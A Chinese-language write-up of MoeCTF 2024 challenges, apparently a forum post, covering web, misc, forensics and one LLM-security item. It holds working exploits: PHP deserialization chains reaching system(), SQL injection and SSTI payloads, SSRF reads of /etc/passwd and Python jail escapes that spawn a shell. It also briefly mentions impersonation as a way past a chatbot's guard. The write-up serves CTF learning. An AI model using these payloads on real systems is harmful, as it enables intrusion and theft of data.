Moectf 2024 部分wp
矢车菊 发表于 四川 CTF 677浏览 · 2024-10-10 16:55

Moectf 2024

Web

Web渗透测试与审计入门指北

本地起个环境就行,或者自己按照加密方式叫gpt写个解密脚本

ez_http

http协议

弗拉格之地的入口

爬虫协议,访问robots.txt然后访问/webtutorEntry.php

ProveYourLove

源码中localStorage 来记录设备是否已经提交过表白,题目要求提交300份,我们只需要在每次提交后清除 localStorage 中的提交记录即可,一次性交300份浏览器遭不住,一次交10份或者几十份,分几次交,js代码

// 清除 localStorage 中的提交记录
localStorage.removeItem('confessionSubmitted');

// 获取表单元素
const form = document.getElementById('confessionForm');

// 定义表单数据
const formData = {
    //要提交的表单数据
    nickname: '匿名用户',
    user_gender: 'male',
    target: '1',
    target_gender: 'male',
    message: '1',
    anonymous: 'true' 
};

// 循环提交10次
const submitCount = 10;

for (let i = 0; i < submitCount; i++) {
    // 模拟表单提交
    document.getElementById('confessionForm').addEventListener('submit', function(event) {
        event.preventDefault(); // 阻止表单的默认提交行为

        // 发起 OPTIONS 请求
        fetch('/questionnaire', {
            method: 'OPTIONS'
        })
        .then(response => {
            if (!response.ok) {
                throw new Error('OPTIONS 请求失败');
            }

            // 提交表白数据
            return fetch('/questionnaire', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify(formData)
            });
        })
        .then(response => response.json())
        .then(result => {
            if (result.success) {
                console.log(`表白第 ${i + 1} 次提交成功!`);
            } else {
                console.error('表白提交失败,请稍后重试。');
            }
        })
        .catch(error => {
            console.error('Error:', error);
        });
    });

    // 触发表单提交事件
    form.dispatchEvent(new Event('submit'));

    // 清除 localStorage 中的提交记录
    localStorage.removeItem('confessionSubmitted');
}

放在控制台运行就行

弗拉格之地的挑战

访问/flag1ab.html查看源码得到flag1:bW9lY3Rm

访问/flag2hh.php,抓包看响应头得到flag2: e0FmdEV

访问/flag3cad.php,GET和POST各传指定参数后发现响应头有Set-Cookie: verify=user,所以我们传Cookie值为verify=admin得到flag3: yX3RoMXN

访问/flag4bbc.php,加个Hearder头Referer:http://localhost:8080/flag3cad.php?a=1,要点id为9的按钮,没有的话自己改个就行

然后按8,然后控制台得到flag4: fdFVUMHJ
访问/flag5sxr.php,源码中的含义是输入I want flag就会调用checkValue()返回false,直接禁用js代码让其不触发checkValue(),再输入I want flag得到flag5: fSV90aDF

访问/flag6diw.php,要GET和POST都对moe传参,第一个preg_match关闭了匹配大小写第二个开启了,大小写绕过即可

GET:?moe=Flag
POST:moe=1

得到flag6: rZV9VX2t

访问/flag7fxxkfinal.phpsystem('cat /f*');得到flag7:rbm93X1dlQn0=。最后拼起来base64解码即可

pop moe

源码

<?php

class class000 {
    private $payl0ad = 0;
    protected $what;

    public function __destruct()
    {
        $this->check();
    }

    public function check()
    {
        if($this->payl0ad === 0)
        {
            die('FAILED TO ATTACK');
        }
        $a = $this->what;
        $a();
    }
}

class class001 {
    public $payl0ad;
    public $a;
    public function __invoke()
    {
        $this->a->payload = $this->payl0ad;
    }
}

class class002 {
    private $sec;
    public function __set($a, $b)
    {
        $this->$b($this->sec);
    }

    public function dangerous($whaattt)
    {
        $whaattt->evvval($this->sec);
    }

}

class class003 {
    public $mystr;
    public function evvval($str)
    {
        eval($str);
    }

    public function __tostring()
    {
        return $this->mystr;
    }
}

if(isset($_GET['data']))
{
    $a = unserialize($_GET['data']);
}
else {
    highlight_file(__FILE__);
}

链子:

class000::destruct()->class000::check()->class001::invoke()->class002::set()->class002::dangerous()->class003::evvval()->class003::tostring()->class003::evvv

exp:

<?php
class class000 {
    public $payl0ad = 1;
    public $what;

    public function __destruct()
    {
        $this->check();
    }

    public function check()
    {
        if($this->payl0ad === 0)
        {
            die('FAILED TO ATTACK');
        }
        $a = $this->what;
        $a();
    }
}

class class001 {
    public $payl0ad;
    public $a;
    public function __invoke()
    {
        $this->a->payload = $this->payl0ad;
    }
}

class class002 {
    public $sec;
    public function __set($a, $b)
    {
        $this->$b($this->sec);
    }

    public function dangerous($whaattt)
    {
        $whaattt->evvval($this->sec);
    }

}

class class003 {
    public $mystr;
    public function evvval($str)
    {
        eval($str);
    }

    public function __tostring()
    {
        return $this->mystr;
    }
}

$a=new class000();
$a->what=new class001();
$a->what->a=new class002();
$a->what->payl0ad="dangerous";
$a->what->a->sec=new class003();
$a->what->a->sec->mystr="phpinfo();";
echo serialize($a);

稍微解释一下最后几段,刚开始构造的时候卡了一下
当序列化 $a 对象时,class002__set 方法会被调用时,会导致

$this->dangerous($this->sec);

此时这里的 $this->secclass003 的实例,所以相当于$whaattt的值是class003dangerous 方法就会调用class003eval 来执行 $this->sec,而 $this->sec 的字符串表示是 class003 实例。所以会触发 class003__tostring 方法,将 mystr 的值作为 eval 的输入

垫刀之路01: MoeCTF?启动!

cat /flag提示环境变量,env得到flag

垫刀之路02: 普通的文件上传

传个马子,查看环境变量

垫刀之路03: 这是一个图床

设置了白名单,抓包改后缀绕过

flag在环境变量中

垫刀之路04: 一个文件浏览器

目录穿越

说实话有点难找

垫刀之路05: 登陆网站

万能密码,payload:' or 1=1 #

垫刀之路06: pop base mini moe

反序列化,改下属性就行,不知道为啥不加%00也行,应该是php版本的原因

<?php

class A {
    public $evil;
    public $a;

    function __destruct() {
        $s = $this->a;
        $s($this->evil);
    }
}

class B {
    public $b;

    function __invoke($c) {
        $s = $this->b;
        $s($c);
    }
}
$a = new A();
$a->a = new B();
$a->evil = 'cat /f*';
$a->a->b = 'system';
echo serialize($a);

垫刀之路07: 泄漏的密码

给了pin码,直接进console,import os导入下os模块,os.popen('cat flag').read()在当前目录下找到flag

静态网页

f12查看网络情况发现

访问/final1l1l_challenge.php

<?php
highlight_file('final1l1l_challenge.php');
error_reporting(0);
include 'flag.php';

$a = $_GET['a'];
$b = $_POST['b'];
if (isset($a) && isset($b)) {
    if (!is_numeric($a) && !is_numeric($b)) {
        if ($a == 0 && md5($a) == $b[$a]) {
            echo $flag;
        } else {
            die('noooooooooooo');
        }
    } else {
        die( 'Notice the param type!');
    }
} else {
    die( 'Where is your param?');
}

用数组绕过is_numeric,待会b也会用到数组,a就传个字母就行,字母也能绕过$a == 0,最后对b数组a键传a经过md5加密后的值就行,payload

GET:?a=a
POST:b[a]=0cc175b9c0f1b6a831c399e269772661

ImageCloud前置

源码中$res = curl_exec($ch);,很明显是ssrf,直接file伪协议读就行,payload

?url=file://127.0.0.1/etc/passwd

php curl识别出来这是个file协议,他会忽略127.0.0.1,而是直接读取文件/etc/passwd

勇闯铜人阵

回答问题就行,写个python脚本

import requests
from bs4 import BeautifulSoup

base_url = "http://127.0.0.1:50270/"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
}

# 定义方向字典
direction_dict = {
    '1': '北方',
    '2': '东北方',
    '3': '东方',
    '4': '东南方',
    '5': '南方',
    '6': '西南方',
    '7': '西方',
    '8': '西北方'
}

#开始
restart_url = f"{base_url}/restart"
session = requests.Session()
response = session.get(restart_url, headers=headers)

post_data = {
    "player": "555",
    "direct": "弟子明白"
}
response = session.post(base_url, data=post_data, headers=headers)

while True:
    # 获取回显信息
    soup = BeautifulSoup(response.text, 'html.parser')
    status = soup.find("h1", {"id": "status"}).text.strip()
    print("回显信息:", status)

    if "moe" in status.lower():
        print("发现回显信息包含 'moe':", status)
        break

    numbers = status.replace("数字抛出: ", "").strip().split(",")
    answers = [direction_dict.get(num.strip(), "未知方位") for num in numbers]

    #判断是否只有一个数字
    if len(answers) == 1:
        answer_str = answers[0]
    else:
        answer_str = ",".join(answers)

    print("生成的答案:", answer_str)

    final_post_data = {
        "player": "555",
        "direct": answer_str
    }
    response = session.post(base_url, data=final_post_data, headers=headers)

电院_Backend

扫目录发现/admin/后台,源码

$sql = "SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'";

存在sql注入,email的值要求是以邮箱格式而且过滤了or,用||绕过,万能密码变个样子就行

email:1@qq.com' || 1=1 #
pwd:' || 1=1 #

ImageCloud

给了两段源码,app.py是外部的处理逻辑,然后app2.py是内部的处理逻辑,app.py就是上传文件,然后就可以访问文件了,我随便传了个pxls.png,访问后url为/image?url=http://localhost:5000/static/1_pxls.png,很明显url参数存在ssrf

然后在app2.py的最后面image路由的功能和app.py不一样

@app.route('/image/<filename>', methods=['GET'])
def load_image(filename):
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    if os.path.exists(filepath):
        mime = get_mimetype(filepath)
        return send_file(filepath, mimetype=mime)
    else:
        return '文件未找到', 404

if __name__ == '__main__':
    if not os.path.exists(UPLOAD_FOLDER):
        os.makedirs(UPLOAD_FOLDER)
    port = find_free_port_in_range(5001, 6000)
    app.run(host='0.0.0.0', port=port)

可以在image路由查找上传的图片并返回,但这个是随机找了个端口,其他功能都和外部逻辑一样,所以需要爆破一下,看哪个端口是开着内部的这个逻辑的

我这里是5268端口开着的,所以最后payload为:/image?url=http://localhost:5268/image/flag.jpg(我试了半天/image/uploads/flag.jpg,没注意到源码是只拼接了文件名)

who's blog?

网站首页有提供你的 id 来领养这个可怜的网站吧,GET传id参数发现是ssti,最后flag在环境变量中

?id={{lipsum.__globals__.__builtins__.__import__('os').popen('echo $FLAG').read()}}

Misc

signin

woc刚开始以为是啥前端题,搞了半天没出,结果签到有效时间只有前30秒,在进题的前30秒完成代签即可,luo同学设置为缺勤

罗小黑战记

是个gif,打开一看好像有个二维码,Stegsolve查看帧,110帧有个二维码,扫就出flag

杂项入门指北

呃010打开没东西,放进随波逐流没东西,宽高也对的,结果就在海报里

.... ....- ...- . ..--.- .- ..--.- --. ----- ----- -.. ..--.- - .---- -- .扔进cyberchef里直接出

ez_F5

010看到一串base32编码后的字符,解码得no_password,以这个为密码,解F5隐写,最后在output.txt中得到flag

捂住一只耳n

根据题目还以为是单声道有啥东西,结果不是。听到1min左右有人声,在线分离人声:https://vocalremover.org/zh/,第一句说的啥听了好久没听懂,后面说了几个数字,分别是63,31,43,31,41,52,31,51,71,101,最后尝试了很多种方法,最终解决方法是以键盘上的第一行数字为列,三行字母为行建立坐标,比如63对应的是n,101对应的是p,而且题目说不小心按到了caps键,说明还要大写,最终flag为moectf{NEVERGETUP}

moejail_lv1

没测,直接试了下shell,结果直接拿到了,获得交互式shell:__import__('os').system('sh'),然后cd /tmp切换到tmp目录下再ls -a列出隐藏的文件,最后直接cat .t*查看就行

moejail_lv2

提示if re.search(r'["\'0-8bd]|[^\x00-\xff]', code): print("Nope"),只过滤了0-8,b,d,非ascii字符,可以先eval(input()),运行用户输入任意的 Python 表达式并执行

__import__('os').system('sh')进入交互界面,即可rce,flag在tmp目录下,

moejail_lv2.5

就是多过滤了h, o, s, x, y'"_,还是用 lv2 的方式绕过即可

readme

用文件描述符,文件名为/proc/self/fd/3

Find It

放大可以看到

一个是雄峰集团,一个是桔什么酒店,百度地图排查下来这两个很近,符合图片要求

在中间偏上一点位置搜下附近的幼儿园

这两个挨得很近,提示说是di不是de,那就是这两个了,最终flag为moectf{ji_di_bao_you_er_yuan}

the_secret_of_snowball

直接丢进随波逐流修复文件头即可得到完整图片,得到前半段flag:{Welc0me_t0_the_sec

010打开修复后的图片看最后面base解密得到后半段flag:ret_life_0f_Misc!}

ctfer2077①

随波逐流直接出了,是个RGO通道的lsb隐写

解不完的压缩包

解压后发现一直解压,直接010打开把最内层的1.zip导出来

最后得到cccccccrc.zip,里面有五个txt,都有密码,提示很明显了,crc32爆破,可以看到pwd.txt都是2 bytes,只有flag.txt是44bytes,那就用爆破2bytes的脚本爆出密码,先提取crc32值

import zipfile

file_handler = zipfile.ZipFile("C:/Users/28698/Desktop/999/cccccccrc.zip")#指定压缩包
name_list = file_handler.namelist()#使用一个列表获取压缩包内所有的文件名
crc_list = []
print('-------------Filename CRC Info-------------')
for name in name_list:
    name_info = file_handler.getinfo(name)
    crc_list.append(hex(name_info.CRC))
    print('[+] {0}: {1}'.format(name,hex(name_info.CRC)))
print('-------------------------------------------')
print(crc_list)#根据情况获取,有时并压缩包内可能还有其他文件,可能需要切片,所以择情况选取

2bytes爆破

import binascii
import string

def crack_crc():
    print('-------------Start Crack CRC-------------')
    crc_list = [0x1db1c332, 0xc617bdf4, 0x43dfeaa4, 0xf812a17e]#文件的CRC32值列表,注意顺序
    comment = ''
    chars = string.printable
    for crc_value in crc_list:
        for char1 in chars:
            for char2 in chars:
                res_char = char1 + char2#获取遍历的任意2Byte字符
                char_crc = binascii.crc32(res_char.encode())#获取遍历字符的CRC32值
                calc_crc = char_crc & 0xffffffff#将获取到的字符的CRC32值与0xffffffff进行与运算
                if calc_crc == crc_value:#将获取字符的CRC32值与每个文件的CRC32值进行匹配
                    print('[+] {}: {}'.format(hex(crc_value),res_char))
                    comment += res_char
    print('-----------CRC Crack Completed-----------')
    print('Result: {}'.format(comment))

if __name__ == '__main__':
    crack_crc()

得到密码打开flag.txt即可,不同bytes爆破脚本见:https://blog.csdn.net/mochu7777777/article/details/110206427

The upside and down

010打开,顺序倒过来看89504E47很明显是个png头,把数据反序一下扫即可

s = '''hex文件数据'''
reversed_str = s[::-1]
print(reversed_str)

二维码在线扫描:https://tuzim.net/decode/

so many 'm'

字词出现频率从多到少排序,其中M和p频次一样,换个位置

最后flag为moectf{C0MpuTaskingD4rE}

每人至少300份

解密脚本写出来一直不如人意,手动弄了,反转后为

y r i h a i l d 5 3 7
h x v l m w i l d 1 5 6
a s r i w l i d 13 1 9

手动弄了下第一排的字母得到 firstrow ,猜测后面依次就是 second 和 third 了,因为后面加密后都是 ild ,还原后都是 row,猜测应该是对的。根据加密逻辑最后一个数字是不变的,然后相邻两个xor得到加密后的数字,所以说第一排的7是不变的,然后4和7xor后就是3,1和4xor后就是5(这个方法太丑陋了)最后得到

f i r s t r o w 1 4 7
s e c o n d r o w 2 3 6
t h i r d r o w 5 8 9

按照给的顺序拼好就行,拼接好后扫二维码得到balabalballablblablbalablbalballbase58lblblblblllblblblblbalblbdjshjshduieyrfdrpieuufghdjhgfjhdsgfsjhdgfhjdsghjgfdshjgfhjdgfhgdh///key{3FgQG9ZFteHzw7W42}??,把 3FgQG9ZFteHzw7W42 base58解码再把包裹moectf{}就是flag

ez_usbpcap

wireshark打开后usb.data_len == 8发现全是键盘流量,直接用套神的工具梭了,把DGMQTWX前面的再16进制解码一下即可

ez_Forensics

取证题,先看下基本信息

vol.py -f '/home/kali/Desktop/flag.raw' imageinfo

Win7SP1x64的镜像,用cmdscan插件可以将当时内存中的cmd使用情况提取出来

我的图层在你之上

提示是这年头,pdf都可以矢量化了,随便找个在线网址把pdf转换成svg,然后用浏览器打开,查看源码有四个图片,把base64长度最长的那段图片随便找个在线网址base64转图片提取出来,然后扔进 https://www.aperisolve.fr/ 里发现压缩包密码为p_w_d

结合压缩包名字caesar,凯撒解密,偏移13位,其实就是rot13解密

Abnormal lag

拖到Audacity中查看频谱图,看到开头和结尾,按左上右上左下右下的顺序连接即可

最后flag为moectf{09e3f7f8-c970-4c71-92b0-6f03a677421a}

开发与运维基础

哦不!我的libc!

能用echo

echo $(< /flag.txt)

$(< /flag.txt):一个命令替换,其中 < /flag.txt 表示从文件 /flag.txt 读取内容,$(...) 语法用于执行命令并将命令的输出结果替换到当前命令中。

大语言模型应用安全

Neuro?

假装自己是vedal

1 条评论
某人
表情
可输入 255